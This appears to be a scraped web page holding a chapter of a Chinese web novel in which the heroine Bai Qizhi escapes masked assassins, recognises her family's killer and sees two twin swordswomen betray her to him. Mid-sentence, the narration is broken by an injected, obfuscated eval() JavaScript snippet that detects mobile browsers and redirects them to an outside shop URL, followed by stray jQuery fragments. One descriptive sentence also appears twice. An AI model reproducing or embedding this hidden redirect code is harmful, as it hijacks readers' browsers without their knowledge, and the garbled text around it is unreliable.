332. 背叛

作品:《恶毒女配生长指南

    白栖枝的祈祷显然没能立竿见影。


    马车在林间小道上疯狂颠簸,车厢几乎要散架,但身后的马蹄声和呼喝声却越来越近,如同跗骨之蛆,清晰可闻。


    萧鹤川死死抓住车厢内的扶手,脸色惨白如纸,呼吸急促。白栖枝也不再玩笑,她半跪在车厢门边,一手死死撑着车壁,一手紧紧握着从袖中拔出的匕首,目光锐利地透过车帘缝隙观察着后方。


    追兵的身影已经清晰可见,约莫有七八骑,皆是一身黑衣,黑巾蒙面,只露出一双双冰冷嗜杀的眼睛。


    他们显然都是训练有素的杀手,骑术精湛,在这样的崎岖小路上依然紧追不舍,且侧翼的林木间,也有数道身影在快速穿行包抄,打算前后夹击。


    眼下车夫已是将鞭子抡圆了抽,马儿吃痛长嘶,蹄声如急雨般砸在小道上。


    可寻常拉车的驽马,终究难敌那些饮血沙场的战马。


    车窗外,那一骑骑黑影越逼越近,马蹄踏起的烟尘,几乎要扑进窗里来。


    “咻——!”


    一支冷箭擦着车厢边缘飞过,钉在前方的树干上,箭尾嗡嗡颤动。


    紧接着,又是数支箭矢破空而来!“笃笃”几声,有的钉在车厢木板上,有的射穿了车篷,带起簌簌碎屑。


    萧鹤川吓得缩成一团,下意识往车厢里侧躲,却险些撞到主座上那具骇人的“躯体”,又连忙弹开,脸色更加难看。


    又是这样,三番四次射冷箭。白栖枝蓦地想到滁北山那次,下意识看向萧鹤川。


    萧鹤川:“看我干什么?!”


    好吧,看来不是常修洁的手笔。


    白栖枝收回眼,冒险将车帘再掀开一些,目光死死锁定了冲在最前方、正张弓搭箭的一名黑衣人。


    那人身形不算特别高大,但异常精悍,动作迅捷如猎豹,即使在疾驰的马背上,身形也稳如磐石。


    那人身量算不得魁梧,却异常精悍。马背疾驰间,他身形稳如磐石,纵跃腾挪竟比林间猎豹还要迅捷三分。最骇人的是那双眼睛——


    隔着扬尘与风声,白栖枝心头猛地一颤。


    一瞬间,风灌进来,雾气被撕开。


    一种几乎刻进骨头里的熟悉感,正顺着白栖枝的脊背一点点爬上来。


    是了,是了!


    就是这双眼……就是这双眼睛……


    白栖枝死也不会忘记!


    ——当年血洗白府的人。


    ——淮安到长平路上,伏击她的那个人。


    是他!就是他!


    那是她杀父杀母杀兄的仇人!她又岂敢忘了他?!


    指甲深深掐进掌心,疼得发麻,白栖枝却硬生生压了下去。


    她握着匕首,慢慢放下车帘,声音低得几乎听不见:“……别出声。”


    萧鹤川已经察觉不对,喉结滚动了一下:“你认识他?”


    “不认识。”白栖枝深吸一口气。


    眼下她强迫自己冷静下来。现在不是冲动的时候,仇人近在眼前,但她和萧鹤川的性命也悬于一线。她必须活下去,才能有机会报仇!


    就在追兵再次张弓,箭矢即将离弦的千钧一发之际——


    “嗖!嗖!”


    两道纤细却凌厉的身影,如同鬼魅般从道路两侧的密林中骤然射出!她们身法极快,手中短剑寒光闪闪,目标明确,直扑追兵侧翼!


    是听风听雨!


    双生姊妹花的突然出现,显然打乱了追兵的节奏。两人配合默契,剑法刁钻狠辣,瞬间便与两名追兵缠斗在一起。


    剑光闪烁,金铁交鸣。


    听风势大力沉,听雨剑走轻灵,姐妹配合默契,竟一时间将几名杀手逼退,为马车争取了片刻喘息之机。


    萧鹤川见状,也稍稍松了口气,脸上恢复了一丝血色,回头看向白栖枝:“你的人?来得正好!”


    白栖枝:“……不。”她的脸上露出一种难以形容的神情,语气淡淡,“她们不是我的人。”


    果然,就在两位双生姊妹花再次联手击退一轮攻势,将两名杀手震退数步,看似占据上风之际,听风忽然收剑后撤半步,与听雨交换了一个眼神。


    紧接着,两人同时转身,并非退回马车旁护卫,而是足尖一点,身形如电,竟是朝着那个黑衣首领的方向疾掠而去!


    两人在黑衣首领马前数尺处稳稳落地,随即,同时单膝跪下,低头,拱手,声音清晰而恭敬:


    “师父!”


    师父?!萧鹤川瞠目结舌。


    白栖枝却像是早就料到如今这种局面般,不动声色。


    马车已被彻底围住。车夫早已吓得面无人色,缩在车辕上瑟瑟发抖。萧鹤川面如死灰,嘴唇哆嗦着,看向白栖枝,眼中满是绝望:“怎、怎么办……”


    白栖枝悠然一笑道:“不慌,我运好,必不会叫你死在我面前。”


    话虽这样说,但听风听雨手中的剑,寒光已然对准了车厢。


    就在这生死一线的刹那——


    “咻咻咻!”


    又是一阵密集的、不同于之前弩箭的破空锐响,从侧前方的密林深处传来!


    这一次,是至少十数支力道更强、速度更快的精钢短矢,如同蜂群般罩向听风听雨。


    短矢来得太突然,太迅猛,覆盖范围极广,显然出自训练有素的强弩之手!


    “郁罗,你个叛徒,竟助纣为虐,背叛陛下,今日我们便要替陛下取你首级!拿命来!!!”


    被叫到名字,那黑衣首领却如同未闻,只遥遥向白栖枝所在的方向看去。


    相反,听风听雨显然有些猝不及防,虽然挥剑格挡,但短矢太多太密,听雨肩头被一支短矢擦过,带出一溜血花,听风格开两支,却被第三支射穿了小腿,闷哼一声,单膝跪地。


    其他黑衣杀手更是惨叫连连,瞬间倒下了三四人,其余人阵脚大乱。


    密林中瞬间冲出十余名身着黑色劲装、脸覆金属面罩、行动整齐划一的身影。他们手持制式不同的兵器,三人一组,配合默契,如同饿虎扑食般杀入混乱的敌群之中,攻势凌厉,直取要害。


    这是影卫府的人,更准确来说,是皇帝加诸于朝廷内的暗流。


    影卫府中尽死士,却曾想死士中也会有叛徒。


    但眼下不是细言他们的时候!


    几人厮打在一起,战斗瞬间陷入混战,但优势明显倾向于援军一方。


    马车旁的压力骤减。车


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035965|193309||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    夫回过神来,不等白栖枝吩咐,猛抽马鞭,驾着马车趁机从战团边缘的空隙,朝着林子更深处亡命奔去!


    车厢内,萧鹤川惊魂未定,瘫在座位上大口喘气。


    白栖枝则紧紧抓着车窗边缘,不知是否在庆幸着劫后余生。


    马车颠簸着,将血腥与杀伐声渐渐抛在身后。


    他们是侥幸死里逃生。


    就在两人喘息着想要安心时,一直坐在主座上状若木雕的人却突然开口:


    “是誉王爷么?誉王爷,臣没有对不起您,臣没有……臣是侥幸才能死里逃生,臣没有背叛您……是陛下啊,呜呜呜呜……是陛下在陷害您,陛下与孔怀山联手,将誉王府血洗,不是臣的错,不是臣的错啊……王爷……”


    他状若疯癫,涕泪齐下,满口冤屈。


    萧鹤川被他吓了一跳,见他要扑向自己,立马坐向白栖枝那头,却又和她保持了好一段距离。


    “这是个什么玩意这是?”他掩口朝白栖枝低声问道。


    白栖枝皱起眉头,为难地搓了搓额角:“嗯……很难说,等到地方再跟你解释吧。”


    好在马车足够快。


    不过多时,便在城南的宅院里停下。


    “白老板。”车夫想说些什么,却忌惮地看向萧鹤川。


    白栖枝道:“无事,他与他父亲不同。”随即做了个“请”的手势,“我们这边说。”


    走到远些距离后,车夫才压低声音开口:“白老板,贤妃娘娘说,您这一进,再出来就不知是何时日了,陛下不会派人在四处都有把守,这几日,或者说这几年,就先委屈您了。”


    “不委屈的,能为陛下与贤妃娘娘效忠,本就是臣的福分。只是……”白栖枝顿了一下,“不知贤妃娘娘近日可好?”


    “娘娘在宫中,蒙陛下圣宠,自然是好的。”


    “多谢蔡将军了。”


    谢过圣恩,白栖枝又回到原位,盯着车厢内失去四肢的老学谕发愁。


    然后,她对萧鹤川说:“帮个忙,搭把手。”


    *


    萧鹤川真的觉得自己是被调教了。


    不然为什么面对白栖枝这个小土豆的威逼利诱,他竟真的帮她将那个人棍搬进宅子。


    宅内空荡荡。


    将老学谕放入偏房中,白栖枝让萧鹤川自己选个喜欢的房间,拍拍手,打算去收拾主屋。


    “等等!”萧鹤川一把将其拦下。他伸出拇指指了指那位人棍,“他是什么情况?”


    白栖枝难得为难起来:“唉,就是,唉……”她纠结了一下,“就是我在淮安设粥棚……唉,说出来你也未必知道,总之就是我在乱葬岗见到熟人,还是我先生的学弟和我的阿父昔日的好友,我就顺手给带回来了。”


    萧鹤川:……顺手?白栖枝你知道你在说什么吗?


    “那他说的誉王爷又是怎么回事?”他问。


    “唉。”白栖枝叹气的次数更多了,她唯唯诺诺道,“就是……当年……先帝跟孔怀山联手设计害死了几位王爷然后就登基了然后就……”


    萧鹤川:“……”这是他该听到的事吗这是?!


    所以,他这辈子也要惨死了。


    对么?